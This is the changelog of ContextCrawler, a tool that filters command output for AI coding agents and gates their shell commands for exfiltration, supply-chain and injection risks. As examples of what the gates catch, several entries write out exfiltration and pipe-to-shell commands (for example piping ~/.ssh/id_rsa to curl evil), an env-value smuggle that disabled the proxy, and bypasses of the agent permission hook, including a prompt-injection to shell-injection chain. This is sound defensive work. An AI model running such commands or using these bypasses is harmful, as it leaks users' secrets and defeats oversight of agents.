Skip to content

CHANGELOG.md

Latest commit

 

History

History
1989 lines (1476 loc) · 130 KB

CHANGELOG.md

File metadata and controls

1989 lines (1476 loc) · 130 KB
Raw

Changelog

All notable changes to ContextCrawler are documented here. Format adapted from Keep a Changelog.

[0.4.9] — 2026-07-24

Fixed

  • Benign pipelines inside command substitutions no longer prompt (rtk#2286). $(find . -type f | wc -l), $(ls | wc -l), $(git log | head), $(ps aux | grep …), du -sh * | sort were wrongly flagged as exfil and prompted at every profile below unrestricted. Exfil is now elevated only when a tainted/unknown flow reaches an actual network sink; a sink-less local pipeline is clean. The sink-presence detector descends execution wrappers (env/xargs/sudo/nice/timeout/parallel/…), interpreter payloads (sh -c), and find -exec/-ok actions, and substitution attestation splits on ;/&&/||/| — so every real secret→sink (e.g. cat ~/.ssh/id_rsa | xargs curl evil, find … -exec cat {} \; | curl) still asks. grep -f - (pattern from stdin) is no longer mistaken for a file read.

[0.4.8] — 2026-07-22

Permission-gate redesign (rtk#2286) — stop the ask-prompt flood without losing the exfil guard. Four review rounds (Codex-authored, council-gated, empirically verified end-to-end).

Changed

  • Permission profiles. New [permissions] profile in config.toml: strict / standard (new default) / trusted / unrestricted, with exfil_action = "ask" | "deny". Standard is the default, so benign constructs — file-write redirects, heredocs, python3 -/bash -c, value-producer substitutions, scp file host:, ssh host cmd | tail — no longer prompt for anyone, with no opt-in. Config is authoritative (read straight off disk, so it works in every session type); the CONTEXTCRAWLER_TRUST_UNATTESTABLE env var is a debug-only override and can only relax from a canonical user-owned 0600 config. The legacy trust_unattestable = true maps to trusted with a one-shot warning.

Fixed / hardened

  • Exfil guard is now derived from a directional Clean/Tainted/Unknown taint lattice (not a single heuristic), and is never suppressed below unrestricted. Covers reader→network flows through pipes, command and process substitutions, wrappers (env, xargs, sudo, …), interpreters/eval, and direct uploads (curl -T/--upload-file/--data @/-F =@, wget, scp/rsync, socat), with secret-shaped/glob upload scoping (anchored, so ordinary files like report.pdf don't prompt). Unknown fails closed to Ask.
  • Deny rules always win (including inside heredoc bodies); config saved 0600 via no-follow atomic replace; audit of trust-relaxed decisions to downgrades.jsonl with secret-path redaction; contextcrawler security --explain.

[0.4.7] — 2026-07-14

Fixed

  • Legacy filter trust store is self-healed instead of disabled (#235). A trust store left 0755/0644 by a pre-0.4.4 release (or a permissive umask) tripped the strict owner-only validator, printing trust store unreadable ... treating all filters as untrusted on every command and silently disabling custom-filter trust (built-in filters and the Tirith/supply-chain gates were unaffected). ContextCrawler now tightens an owner-owned store to 0700/0600 on read — descriptor-based (fchmod on the O_NOFOLLOW file fd; a fresh O_NOFOLLOW|O_DIRECTORY open then fchmod for the directory), so no symlink swap can redirect it. The owner-only requirement is unchanged; foreign-owned or symlinked stores are still rejected, and permissions are only ever tightened.

[0.4.6] — 2026-07-14

Supply-chain gate hardening — the last of the security audit register (#210-#233). Three Codex-authored rounds in an isolated lane, each driver-verified and non-author-council-reviewed. The gate remains default-off (supply_chain.enabled).

Fixed

  • Install-detection evasions (#227). A gate-disable in command text is ignored; shell words are reconstructed before classification (quoted-fragment concatenation); per-manager global options are consumed before the install verb; process substitutions and bash -c recursion are inspected (a tokenisation error fails closed to unvettable, not silently dropped); line-continuations are joined while bare newlines stay command boundaries; npx/pnpx/yarn dlx launchers and pnpm --frozen-lockfile/bare lockfile installs are treated as unvettable.
  • Fail-open verdicts (#228). OSV errors return Unavailable (not a silent Allow); remote PyPI/VCS/wheel URLs (incl. quoted, git+http(s)/git+ssh, and SCP user@host:path with any username) are unvettable and separated from local editables; pip/uv network-trust and index flags (--trusted-host, --cert, --client-cert, --proxy, --index-url, --extra-index-url, --find-links) force unvettable (closes a MITM/mirror bypass); an unauthenticated mutable cache can force a conservative Block but never justify an Allow; all findings and logs are credential-safe (host/basename only); UTF-8 suffix handling is boundary-safe; scrub/audit writes use O_NOFOLLOW reads, in-directory atomic temp files, and 0600.
  • 429 DoS + cache trust (#231). HTTP 429 joins 5xx/transport on the bounded retry/backoff path; cache files are 0600; implausible far-past publish timestamps are rejected.

[0.4.5] — 2026-07-14

P0 hotfix for a self-inflicted regression in 0.4.4.

Fixed

  • Hook integrity gate no longer disables ContextCrawler when other PreToolUse hooks coexist (#234). 0.4.4's #219 hardening treated any sibling Bash hook (git-hygiene, lab-repo-guard, ...) as tampering and refused to run, taking the Tirith + supply-chain gates down with it and falling back to raw passthrough on every command. The runtime gate now validates ContextCrawler's own registration and ignores unrelated third-party hooks (Claude Code's settings-trust boundary). Hardened over two council rounds:
    • ownership is decided by the parsed executable basename, not a substring (a hook named e.g. smartkit.sh is no longer mis-flagged);
    • the install identity binds the matcher and hook type for our own entries only (a Bash->Read move or a command->prompt swap is caught; unrelated hook edits do not invalidate the baseline), serialised unambiguously;
    • a valid registration with no recorded baseline runs and records the identity on first use (trust-on-first-use) instead of hard-bailing, so upgrades are never bricked while a later swap of our own entry is still caught. A failure to record is surfaced on stderr.

[0.4.4] — 2026-07-14

Large security release — the remainder of the codex-5.6-max sweep + 5-voice council audit register (#210-#233). Every fix TDD'd and council-gated; the two big clusters were done by the Codex (gpt-5.6) worker in isolated worktrees and independently verified + non-author-council-reviewed before merge.

Fixed

  • Hook-tamper validation rebuilt (#219, #220). Prefix/substring hook-command validation (the auto-allow surface validating itself) replaced with a closed single-argv validator; symlink resolve-and-validate (accepts Homebrew's bin->Cellar, rejects a trusted-prefix symlink to an untrusted target); every PreToolUse entry gates the whole registration; an install-time SHA-256 registration identity is persisted and enforced independently of the mutable hook; O_NOFOLLOW descriptor reads and atomic temp+rename throughout; trust store hardened (private dir, 0600, no-follow, owner/mode).
  • Non-Claude hook handlers gated (#225). VS Code, Copilot-CLI and Gemini handlers now run the Tirith + supply-chain gates and honour Ask/Deny (fail closed on the no-ask hosts) instead of silently skipping.
  • Permission-gate + lexer hardening (#212-#218, #230). Deny/allow match the resolved command word (after env assignments, redirections, shell prefixes); command-substitution and stdin/heredoc-interpreter payloads attest or Ask; reader->network->interpreter and process-substitution compositions taint to Ask; wildcard-free allow rules require token equality; policy-file failures fail closed; lexer closes shell-grammar gaps ($'...', backslash-newline, |&, grouped pipelines, arithmetic-exec, env-assignment/persistent redirects) and bounds nested-substitution DoS.
  • Tirith gate deadlock (#211). Stdout is drained concurrently with the wait (a >64KiB verdict no longer blocks and fails open); an overflow fails closed.
  • Config policy-injection (#222). Config is read from a validated, O_NOFOLLOW, user-owned, non-world-writable file (TOCTOU-safe) and the current-directory fallback is dropped; a hostile XDG_CONFIG_HOME or symlinked config is ignored in favour of safe defaults.
  • Filter engine (#226, #232, #233). Whole-blob ANSI/OSC state-machine sanitisation (drops unterminated control strings across lines); CTXCRL_TOML_DEBUG logs a redacted name not the raw command; AggressiveFilter counts the signature brace; hard byte ceiling before materialisation; Go/JS/Python language-parsing fixes; bounded user regex (ReDoS).

[0.4.3] — 2026-07-13

Security release. Closes a 0.4.2 regression and four bypasses from the codex-5.6-max sweep + 5-voice council audit (register #210-#233). All fixes TDD'd and council-gated.

Fixed

  • Tirith pipe_to_interpreter bypass regression (#210). The #191 rework left a whole-command python -m json.tool shortcut, so printf evil | sh; python3 -m json.tool x re-opened the pipe-to-interpreter bypass. Removed the shortcut; the source-gated sink scanner already handles legitimate json.tool data pipes.
  • Env-prefix proxy-disable injection (#229). A quoted env value with an embedded space (FOO="bar RTK_DISABLED=1" cmd) smuggled a standalone RTK_DISABLED/CTXCRL_DISABLED and disabled the proxy. Now parsed with shell-word semantics and the whole command-substitution/expansion metacharacter class is rejected in the disable prefix.
  • Project-filter GLOB injection (#224). GLOB metacharacters (* ? [) in a project directory name acted as wildcards, leaking sibling projects' history. Metacharacters are now escaped; only the trailing wildcard is literal.
  • trust symlink secret-exfil (#221). contextcrawler trust read .ctxcrl/filters.toml following symlinks, so a committed symlink to a secret was printed and trusted. Now an O_NOFOLLOW no-follow read (atomic on Linux/macOS) refuses symlinked filter files.
  • Unscrubbed parse-failure error text (#223). record_parse_failure persisted error_message verbatim; a parser error echoing the command leaked credentials into history. It is now scrubbed like the command.

[0.4.2] — 2026-07-13

Security-precision and analytics-honesty release. Rebuilds the Tirith pipe_to_interpreter false-positive filter around the pipe source, and corrects the gain savings headline to the host-truncated counterfactual.

Fixed

  • Tirith pipe_to_interpreter false positives (#191). The gate downgraded almost every local data-parsing pipe (grep … | python3 -c "json.load(…)") to an Ask. Suppression is now gated on the pipe SOURCE, not the program body: a finding is a false positive only when no producer anywhere in the command fetches remote content (fetcher denylist + URL//dev/tcp scan) AND every interpreter sink runs an explicit program (-c/-e/-m/script). Body screening remains defence-in-depth only, since proving an arbitrary program body benign by pattern is undecidable. Eight rounds of council review closed every bypass (bundled getopt flags, exec/eval aliasing, wrapper-hidden and assignment-carried fetchers, /dev/stdin script paths, xargs interpolation, bash /dev/tcp). Measured 56.9% reduction in false prompts on real usage; all genuine curl … | sh shapes still prompt.
  • gain savings counterfactual (#208). The headline divided saved / raw_output, but the host truncates a command's output before the model sees it, so a few huge outputs inflated the figure. gain now reports an EFFECTIVE metric that caps each command's input at the host's output limit ([tracking] host_truncation_tokens, default 7500 ≈ 30000 chars), with the raw figure kept beneath for reference. Raw recording is unchanged ground truth; JSON export carries the effective fields.
  • read line-range flags (#207, tracked). Recorded for a follow-up: agents passing --start-line/--end-line currently fall back to raw.

[0.4.1] — 2026-07-01

Hardening + compatibility release. Adds support for Claude Code's newer hook payload schema, closes a hook-gating bypass surfaced in council review, and lands several output-fidelity fixes.

Fixed

  • Claude Code new hook schema. The hook now accepts the newer tool + input.command payload alongside the legacy tool_name + tool_input.command. The active schema is selected by the tool discriminator (not field presence), and the shell hook (rtk-rewrite.sh) is now a thin delegator to the Rust binary — a single, tested source of truth for schema selection and gating. Conflicting discriminators, mismatched or partial dual-schema payloads, non-string commands, unmodeled command containers, and unparseable/non-object payloads all fail closed. (#2493)
  • Machine-readable git output. git status --porcelain/-z and git log --format/--pretty=format: now pass through unfiltered, so tooling that consumes that output is never mangled.
  • Shell builtins under the proxy. contextcrawler cd /x, rtk export … and other side-effecting builtins are stripped of the redundant prefix — standalone and inside compound commands — so the builtin runs in the current shell and its effect survives. (#2508)
  • rg/grep split into separate rewrite rules; rg now rewrites to contextcrawler rg.
  • First-run global init creates the parent directory before the atomic write, fixing a failure when the target directory does not yet exist. (#2519)

Internal

  • Refreshed the branding-lint allowlist after a test rename; .cptr/ agent logs are now git-ignored.

[0.4.0] — 2026-06-07

The library pivot: ContextCrawler is now a proper lib + bin. The binary is a thin shim over contextcrawler::run(), so the CLI dogfoods the exact library code path downstream Rust tools embed. Completes the community request in PR #185.

Added

  • Public embedder API (experimental, NOT yet semver-guaranteed): filter_output(name, raw) and auto_filter_output(raw) apply a named / auto-detected output filter to captured command output without spawning the CLI (panic-safe; mirrors contextcrawler pipe); available_filters() lists the names. Plus the existing summarize_command_output / no_bloat.
  • Crate-level rustdoc with a usage example and an experimental-API banner.

Changed

  • src/main.rs is now a 5-line shim; all CLI logic lives in the library (cli::run). src/lib.rs is the sole module root with a curated public surface; internal modules are private (core is #[doc(hidden)]).
  • One compile tree (no duplicate bin/lib trees): dead-code warnings 473 -> 0, so unused code is now genuinely flagged.

Notes

  • The public API is intentionally small and unstable at 0.x; it will be stabilised toward 1.0. No CLI behaviour change in this release.

[0.3.0] — 2026-06-06

Branding rename: rtk/contextzip -> ctxcrl/contextcrawler throughout. The fork now carries its own identity; upstream origins (rtk-ai/rtk, "based on rtk 0.30.1", author attribution) are preserved as historical credit. Complete-reset sanctioned (no external fork users) so no schema/marker back-compat is carried beyond the env-var shim.

Changed (breaking for local setup, shimmed)

  • Env vars RTK_* -> CTXCRL_* (CTXCRL_DISABLED, CTXCRL_DB_PATH, ...). Legacy RTK_* still honoured via a deprecated compat shim, so existing ~/.claude hook integrations keep working.
  • Paths -> ~/.config/ctxcrl, ~/.local/share/ctxcrl, .ctxcrl/. Settings (config.toml/filters) auto-migrate on first run; the savings history.db resets fresh (schema changed; legacy DB left orphaned).
  • DB columns rtk_* -> ctxcrl_; analytics JSON keys rtk_ -> ctxcrl_*.
  • CLAUDE.md managed-block markers RTK_* -> CTXCRL_* (old blocks orphan on re-init).
  • Hook integrity sidecar .rtk-hook.sha256 -> .ctxcrl-hook.sha256; hermes hook dir rtk-rewrite -> ctxcrl-rewrite. Public symbols Rtk* -> Ctxcrl*.

Kept (deliberate)

  • Origin/attribution refs; legacy detection of old rtk command-prefixes, rtk-rewrite.sh / rtk-hook / RTK.md / homebrew rtk installs; the X-RTK-Token telemetry wire header (telemetry is opt-out).

Repo hygiene

  • .gitignore excludes local tool metadata (.serena/, .playwright-mcp/, package-lock.json, cache/) so git add -A can't sweep them in.

[0.2.0] — 2026-06-06

Consolidation baseline before the library/CLI pivot. Bundles the 2026-06-06 fix batch plus the first external community contribution (a library build). This is the tagged baseline (contextcrawler-v0.2.0) we branch the lib pivot from.

Security

  • Permission gate never auto-allows not-evaluable constructs (#2286 port of rtk-ai/rtk 952245d + e16aa26, reconciled with the fork's &/newline split). The gate downgrades command/process substitution ($(), backticks, <()/>()) and real file-write redirects (>file, >>file, >&word, &>file) from Allow to Ask; keeps 2>&1, /dev/null, arithmetic $((..)) and input redirects evaluable. Centralised in check_command_with_rules so both the live hook and legacy rewrite paths inherit it.
  • Live-path Ask surfaced for non-rewritable commands. The #2286 Ask verdict was silently dropped on the live hook path when a command had no rewrite, letting the host auto-allow e.g. git status $(whoami) via a Bash(git:*) rule. The no-rewrite branch now emits an explicit ask whenever the verdict is Ask (not only on a defence-in-depth gate). Found by empirical testing of the built binary.

Fixed

  • tsc / mypy / next build no longer report success on a failed run. These filters printed "no errors"/a fake summary and discarded the real error text when the wrapped command failed. A shared format_tool_failure surfaces raw output on a non-zero exit. (Exit-code propagation was already correct.)

Performance

  • grep / find pipe wrappers: ~40% → ~67% token savings. grep now shows 5 sample matches plus a compact comma-joined list of every remaining match's line number (more locational signal, fewer tokens); find caps samples at 5.
  • Decorator noise stripped from filter output (#2289 port) — box-drawing ═══ separators, --- x --- dash headers, and ❌→✗ removed from LLM-bound output across ~16 filters. Dashboard/TTY output left intact.

Added

  • Library build (lib + bin). The crate now exposes summarize_command_output
    • CommandOutputSummaryOptions and no_bloat via src/lib.rs, so downstream Rust tools can embed the summariser without spawning the CLI. First external community contribution — thanks to Danny Wilson (@vizanto), PR #185. NOTE: this is an MVP surface; the lib build currently emits dead-code warnings because the binary does not yet consume the library. The "CLI consumes the API" refactor is the headline of the next (pivot) release.

[0.1.7] — 2026-05-18

Read-filter, grep, and downstream-rebrand cleanup release. Lands the post-upstream-rebase fixes plus a regression-test framework ("branding lint" + three constant-pinning tests) so the rebrand can't silently drift again on the next rebase.

Changed

  • Read filter — symmetric 80/80 head/tail cap (tests/fixtures/bench baseline: cap-firing case 67.1% savings on 8473-token input). Previous upstream default was 80/20, biasing toward the file's opening; equal weight to tail preserves final assertions / result lines. Plus a passthrough_extensions allowlist (e.g. [".svelte", ".astro"] to skip the cap for source files in unfiltered languages), a two-line marker that includes the escape hatch (contextcrawler proxy cat <path> so an LLM can self-recover full content), and stdin coverage so piping large files through cat … | rtk read - gets the same protection. Closes #12.
  • Grep pre-clap intercept for documented format flags. -c, -L, -o, -Z and the long-form equivalents (--count, --files-with-matches, --files-without-match, --only-matching, --null) now route directly through rg (system grep fallback), bypassing clap before its unknown-arg error fires. Eliminates the 518 spurious parse_failures observed in pre-fix usage. Keeps mixed invocations like grep -c --glob '*.rs' pat working because rg understands both. -l intentionally excluded (this app's clap claims -l for --max-len). Closes #13.

Fixed

  • Slim-instructions filename regression (#19). Commit bcddd06 in the upstream rebase silently flipped RTK_MD from CONTEXTCRAWLER.md back to RTK.md. After-effects: init -g --codex wrote ~/.codex/RTK.md instead of ~/.codex/CONTEXTCRAWLER.md, orphan + duplicate @-refs accumulated in AGENTS.md, and patch_claude_md had a hardcoded @RTK.md literal that bypassed its own contains-check. Restored constants + added cleanup_legacy_codex_files() auto-migration so users upgrading from regressed installs get cleaned automatically + LEGACY_RTK_MD_FILES registry that future renames extend.
  • --version printed rtk 0.39.0 (#22) — clap derive's name="rtk" attribute overrode the package name. Now prints contextcrawler X.Y.Z.
  • Print-string rebrand sweep (#20 #23). 47 [rtk] warning/error prefixes → [contextcrawler], plus ~15 RTK.md/@RTK.md user-facing labels in print/init paths.
  • release-please-config.json had package-name: "rtk" — would have produced rtk-vX.Y.Z tags instead of contextcrawler-vX.Y.Z. Plus Cargo.toml's extended-description still mentioned "rtk filters and compresses". Both corrected.
  • patch_claude_md would duplicate @RTK.md + @CONTEXTCRAWLER.md on upgrade (codex review catch); legacy @-refs now migrate in place before the contains-check.
  • uninstall_codex_at + show_codex_config ignored legacy artifacts (codex review catch); both now iterate LEGACY_RTK_MD_FILES.
  • Codex CLI compliance with contextcrawler prefix rule (#9). Strengthened hooks/codex/rtk-awareness.md template from advisory one-line wording to imperative MUST + WRONG/RIGHT examples + self-check instruction. Empirical compliance jumped from 0% → 80% on real codex job logs after the new template landed.

Added

  • tests/branding_lint.rs — scope-aware lint that scans every .rs in src/ for forbidden upstream literals ([rtk], [rtk:, RTK.md, @RTK.md). Allow-marker (// branding-lint: allow legacy) and function-prefix allowlist with brace-depth tracking cover intentional legacy references in cleanup tests. Plus a separate config-file check that pins Cargo.toml's [package].name and release-please-config.json's package-name field to "contextcrawler".
  • tests/harness_standalone.rs (#29 Tier 1) — Rust integration test that invokes the built binary as a subprocess with RTK_DB_PATH set to an isolated tempfile (does NOT touch the user's real history.db), runs a fixture battery, and writes bench/results-<git-sha>.{json,md} for pre/post comparison. Baseline: 65.2% weighted savings across 4 cases on develop tip. Hard regression gates: cap savings ≥50%, xcstrings savings >0%. Tier 2 (Claude Code) + Tier 3 (Codex) deferred to follow-up PRs.
  • Three constant-pinning regression tests so the next rebase can't silently revert today's rebrand fixes: test_rtk_md_constant_pinned_to_contextcrawler_filename (#19), test_cli_name_pinned_to_contextcrawler (#22), and branding_lint_config_files_pin_canonical_package_name.

Internal

  • Open follow-ups filed during this release cycle: #26 (uninstall ordering — file delete should happen after AGENTS.md write succeeds, low severity), #27 ($CODEX_HOME canonicalization — defence in depth), #28 (lift codex compliance from 80% → 95% via additional WRONG/RIGHT examples + a compliance measurement script), #29 (Tier 2/3 of the bench harness).

[0.1.6] — 2026-05-15

Security and maintenance release. Closes 12 audit findings from the 2026-05-15 review (extending the three GHSAs from v0.1.5 plus downstream-only findings on the web command, supply-chain integration, filter trust model, and tirith gate). Adds the long-term-maintenance framework: threat model, release runbook, upstream-rebase strategy, quality baselines, three per-module security audits, and a roadmap.

Security

  • Build-host metadata stripped from release binaries. Previously the release binary embedded ~284 /Users/<builder>/.cargo/registry/... paths used by Rust's panic-backtrace metadata, leaking the builder's username and directory layout. scripts/build-release.sh now sets --remap-path-prefix for $CARGO_HOME and the workspace; --verify mode asserts zero builder paths in the produced binary.

  • strip_ansi extended + raw-emit sweep. strip_ansi already covered CSI; v0.1.5 added OSC / OSC 8 hyperlinks / DCS / SOS / PM / APC / private DEC modes. v0.1.6 sweeps 58 raw eprint!/println! sites across 9 files (cmds/git/, cmds/cloud/, cmds/js/, cmds/python/, cmds/dotnet/, cmds/system/grep_cmd.rs, cmds/go/, core/runner.rs) so failure-path tool output goes through the sanitiser before reaching the agent.

  • Global TOML filter trust gate (H-3). ~/.config/rtk/filters.toml was previously loaded with no integrity check while the project-local .rtk/filters.toml was SHA-256-pinned. Closed: same trust store, same content-change-revokes semantics. New CLI: contextcrawler trust --global / untrust --global. Plus a TOCTOU fix (check_trust_bytes works on the already-read buffer instead of re-opening the path between hash and parse).

  • CI trust-override now requires platform-injected token (H-2). RTK_TRUST_PROJECT_FILTERS=1 previously trusted any env that set CI=true (settable by a hostile Makefile). Tightened to also require a platform-injected token (GITHUB_TOKEN, CI_JOB_TOKEN, BUILDKITE_AGENT_ACCESS_TOKEN, JENKINS_NODE_COOKIE/BUILD_TAG, CIRCLE_TOKEN/CIRCLE_BUILD_NUM, DRONE_BUILD_NUMBER). An in-repo Makefile can't fake these.

  • Tirith subprocess hardening (F-01 / F-02 / F-04 / F-05).

    • wait_timeout(8s) so a hung tirith check no longer freezes the agent's PreToolUse hook (was indefinite).
    • 4 MiB stdout cap.
    • Stdio::null() on stdin and stderr — the stderr pipe was never drained, so a noisy tirith could fill the 64 KiB kernel buffer and stall the wait_timeout until it fired.
    • JSON re-canonicalisation in log_downgrade before embedding in downgrades.jsonl — closes a log-injection vector where a hostile tirith could emit literal newlines to forge a top-level log record. Sentinel-on-parse-failure keeps the line valid JSON.
    • Same subprocess pattern applied to the security_cmd dashboard (fetch_audit_stats, fetch_doctor_status).
    • New dep: wait-timeout = "0.2".

  • Web command hardening (F-01 / F-02 / F-03 / F-04 / F-07). contextcrawler web now:

    • parses the URL with the url crate, rejects non-http(s) schemes (closes file:///etc/passwd local-read);
    • resolves the host and refuses if any resolved IP is in a blocked range (loopback / link-local / RFC1918 / ULA / CGN / multicast / unspecified / 0.0.0.0/8 / 198.18/15 benchmark / 240/4 future-use, plus IPv4-mapped-private-in-IPv6, plus Azure metadata 168.63.129.16, plus AWS metadata 169.254.169.254 via link-local);
    • pins the validated IPs into curl via --resolve so curl can't independently re-resolve to a private IP between our check and the fetch (DNS-rebinding defence);
    • caps curl at --max-time 30, --max-filesize 64 MiB, --max-redirs 10;
    • uses -- to terminate flag parsing before the URL;
    • wraps stderr in strip_ansi.
    • New dep: url = "2".
    • Residual: multi-host-redirect (other.example after a redirect re-resolves DNS) tracked for v0.2.0.

Process & docs

  • Threat model: new docs/security/THREAT_MODEL.md. Documents assets, attack surfaces, threat actors, mitigations matrix, accepted limitations.

  • Module audits: per-file security audits for supply_chain_gate.rs (6 findings, no High/Critical), tirith_gate.rs (5 findings, closed), Commands::Web dispatch + web_cmd.rs (6 findings, closed), and combined jsonl_rewriter + session_compact_cmd

    • security_cmd (3 Mediums, 6 LOW/INFO). Subprocess-timeout class-audit conclusion in AUDIT_subprocess_timeout_class.md.

  • Quality baselines: docs/quality/BASELINE.md snapshots test count, clippy state, cargo audit result, unsafe blocks, unwrap distribution. deny.toml covers advisories, licenses, bans, sources (passes cargo deny check).

  • Release & rebase docs: docs/contributing/RELEASING.md (end-to-end runbook) + docs/contributing/UPSTREAM_REBASE.md (rtk-ai/rtk tracking strategy, what-to-take-vs-skip matrix, conflict resolution for hardened paths).

  • Roadmap: docs/ROADMAP.md — v0.1.x line, v0.2.0 candidates organised into security/process/capability buckets, tracking model.

  • Session record: docs/sessions/2026-05-15-overnight.md — branch-by-branch summary with Codex round results and merge order.

Build & infrastructure

  • rust-version = "1.80" MSRV declared in Cargo.toml (covers Ipv6Addr::to_ipv4_mapped used by the SSRF block check).
  • New scripts: scripts/build-release.sh (with --verify and --install modes), scripts/bump-version.sh.
  • Proposed CI jobs documented in docs/quality/CI_JOBS_PROPOSED.md (release-leak gate + cargo deny check). Wire in when the .github/ gitignore situation is resolved.

Tests

1845+ passed across the merged tree (was 1828 at v0.1.5). 32 new regression tests for argv-mode guard / OSC stripping / scrub / SSRF block / CI trust check / JSONL canonicalisation.

Acknowledgements

Three rounds of Codex peer review on each fix branch. Every finding tracked, every fix verified.

[0.1.5] — 2026-05-15

Security release. Three downstream-only fixes covering attack surfaces that upstream rtk-ai/rtk has declined to address (#640 "by design / tracking"). Each landed on its own feature branch with full Codex peer review (three review passes); tracked privately as GitHub Security Advisories on thehoff/contextcrawler until publication.

Security

  • GHSA-3mmh-86cm-g6w4 — contextcrawler err / test / summary now parse the trailing command as argv and exec without a shell by default. Shell metacharacters cause rejection; the first token is refused if it's a known shell (sh / bash / zsh / dash / ksh / fish / tcsh / csh / ash and their .exe variants; cmd / powershell / pwsh; busybox / toybox) or an exec wrapper (env / nice / nohup / time / timeout / gtimeout / ionice / chroot / setpriv / unshare / taskset / stdbuf / script / xargs / watch / sudo / doas / su / runuser / pkexec). --shell is the documented escape hatch for users who actually need sh -c semantics. Closes a prompt-injection → shell-injection chain where an agent could append a shell payload to a build-triage command and have it auto-execute.
  • GHSA-wjx4-ffxm-fxxp — strip_ansi now covers OSC (including OSC 8 terminal hyperlinks — visible text preserved, URL payload dropped), DCS, SOS, PM, APC, private DEC CSI modes, and standalone Fe/Fp/Fs escapes, on top of the existing CSI coverage. Prisma command paths (run_generate / run_migrate / run_db_push) now wrap their failure-fallback eprint! calls in strip_ansi. A broader audit of remaining raw-emit paths (git / container / dotnet / python / pnpm / grep) is tracked as follow-up in SECURITY.md.
  • GHSA-2cwv-rr7c-2p4c — scrub_secrets redacts well-known credential patterns before insert into tracking.db (which feeds gain --history back into agent context). Covers credential-bearing flags (--password / --token / --api-key / --secret / --access-key / --auth-token / --client-secret, with =value, space-value, and escape-aware quoted-value forms), HTTP Authorization headers, URL-embedded user:password@, AWS access keys, GitHub PATs (classic + fine-grained github_pat_…), Slack tokens, and mysql/mariadb -p<password> (scoped to mysql / mariadb / .exe variants only — curl -p3000 and similar are not rewritten).

Tests

  • 1828 passed, 0 failed across all three branches and the merged develop. Each fix landed with a dedicated regression-test block.

Mop-up release covering two surfaces v0.1.3 didn't touch.

Fixed

  • contextcrawler discover output still printed RTK. Banner, stats line, empty-state hint, section header, column header, and per-row "Equivalent" cells all said RTK … / rtk git. Fixed by widening the scope of the display_rtk helper from the rewrite path to the discover report path (made pub, applied at the print site in src/discover/report.rs). Internal rtk_cmd: "rtk X" rule literals in rules.rs are still intentionally unchanged — kept as internal lookup keys aligned with upstream rtk. (#7)

Documented

  • Added a design-intent comment to process_claude_payload clarifying that the Tirith and supply-chain gates only fire on the PermissionVerdict::Allow path. Future investigators won't repeat the false alarm of "fresh probes don't appear in downgrades.jsonl" — by design, the gate is a safety net for the auto-allow path only, not a universal filter. (#7)

[0.1.3] — 2026-05-14

Polish release. Empirically surfaced via fresh-install devel-testing on macOS and Ubuntu (Framework). v0.1.2 binaries still emitted legacy rtk strings in user-facing output and tried to exec rtk from a CLI fallback path that broke flag-only invocations. Internal rtk identifiers (struct / module / field names, rtk_cmd: rule values, rtk_equivalent classification keys) are intentionally retained to keep upstream rebases against rtk-ai/rtk small.

Fixed (correctness)

  • Hook rewrite prefix. Every rewrite emitted rtk <subcmd> ... — on machines where only the new contextcrawler binary is on PATH (the documented install), Claude Code then failed with command not found: rtk when it tried to execute the rewritten command. The rewrite output now emits contextcrawler <subcmd> .... Both prefixes are still accepted as "already-rewritten" passthrough so legacy Bash(rtk:*) allowlist entries keep working. (#1)
  • contextcrawler -v (and any flag-only invocation). The CLI fallback path attempted to exec args[0] as a binary when clap parsing failed. With args[0] = -v, that produced a misleading [rtk: No such file or directory (os error 2)]. Now: leading-dash guard re-raises clap's parse error so -v shows the proper "subcommand required" message; passthrough-failure prefix is [contextcrawler: ...]. (#4)

Fixed (cosmetic, user-facing)

  • gain dashboard header: RTK Token Savings → ContextCrawler Token Savings (Project and Global scopes). Empty-state hint reworded. (#1)
  • cc_economics empty-state hint reworded. (#1)
  • init -g success output: RTK hook registered → ContextCrawler hook registered; label RTK.md: now matches actual file CONTEXTCRAWLER.md; @RTK.md reference added → @CONTEXTCRAWLER.md reference added (sourced from the existing RTK_MD_REF constant). Companion fixes in uninstall messages, codex config listing, agent hook output for cline / windsurf / kilocode / antigravity, and the init -g usage help text. (#3)

Added

  • Tirith gate status in contextcrawler init -g. Reports whether the URL-security defense-in-depth gate will be armed at the Claude Code rewrite boundary. Detect-only — does NOT modify the user's ~/.bashrc / ~/.zshrc / ~/.config/fish/config.fish. The gate operates exclusively at the CC PreToolUse hook layer via subprocess invocation of tirith check; no interactive-shell integration is involved. (#2 superseded by #5)

Internal

  • Source-level rtk identifiers, rtk_cmd: rule values, and rtk_equivalent classification keys are unchanged. Upstream rebase surface remains tight.

[0.1.2] — 2026-05-14

The first release where contextcrawler init -g actually wires up a working hook on a fresh install. Anyone who tagged-installed v0.1.0 or v0.1.1 should upgrade.

Fixed (critical)

  • Hook command was hardcoded to rtk hook claude. Every init -g since the binary rename was writing a settings.json entry that called a non-existent rtk binary. The hook fired, the binary wasn't there, the bash hook gracefully degraded — Claude Code received raw, un-filtered command output. ContextCrawler was effectively a no-op on every install. Now writes contextcrawler hook claude (and contextcrawler hook cursor / gemini / copilot for the other agents). Install-time matchers recognize the legacy command string so existing broken entries get migrated cleanly on next init -g.

Fixed (security)

  • Session compactor path traversal (resolve_session_path). A bare session id like ../foo was joined under each project directory and the resulting candidate was opened if it resolved to a file. Now rejects ids containing /, \, or ... Full paths still work via the existing is_file() short-circuit.
  • Supply-chain cooldown bypass on future-dated publishes. The age check guarded against impossible future dates with age > -1d, but packages "published" up to 24h ahead of now passed both bounds and skated through entirely. Now clamps negative ages to zero before the comparison — future dates are treated as just-published.

Fixed (UX — broken instruction strings)

  • Every [rtk] No hook installed — run \rtk init -g`warning, every integrity-check error message, every codex/gemini/copilot install hint, every "rtk trust" / "rtk discover" / "rtk learn" tip now readscontextcrawler` so pasted commands actually work.
  • ~/.claude/RTK.md and @RTK.md reference renamed to CONTEXTCRAWLER.md and @CONTEXTCRAWLER.md. Auto-migration (cleanup_legacy_rtk_md) removes legacy files + references on first install with v0.1.2.
  • gain table no longer prefixes every row with the redundant rtk string (DB unchanged, strip happens at display time).

Fixed (small)

  • Compiler warning in core/utils.rs (unused variable on non-Windows release builds).
  • CodeQL py/insecure-temporary-file in benchmark helper — switched tempfile.mktemp to NamedTemporaryFile.
  • CodeQL rust/cleartext-logging false-positive in trust list defused via variable rename. Two related alerts on the same site dismissed in the GitHub Security UI.

Docs

  • README + MIGRATING: new pre-install callout warning users who previously ran upstream rtk or jee599/contextzip to clean out stale hook entries from agent configs — otherwise the v0.1.2 binary takes over and the orphaned entries point at non-existent paths.
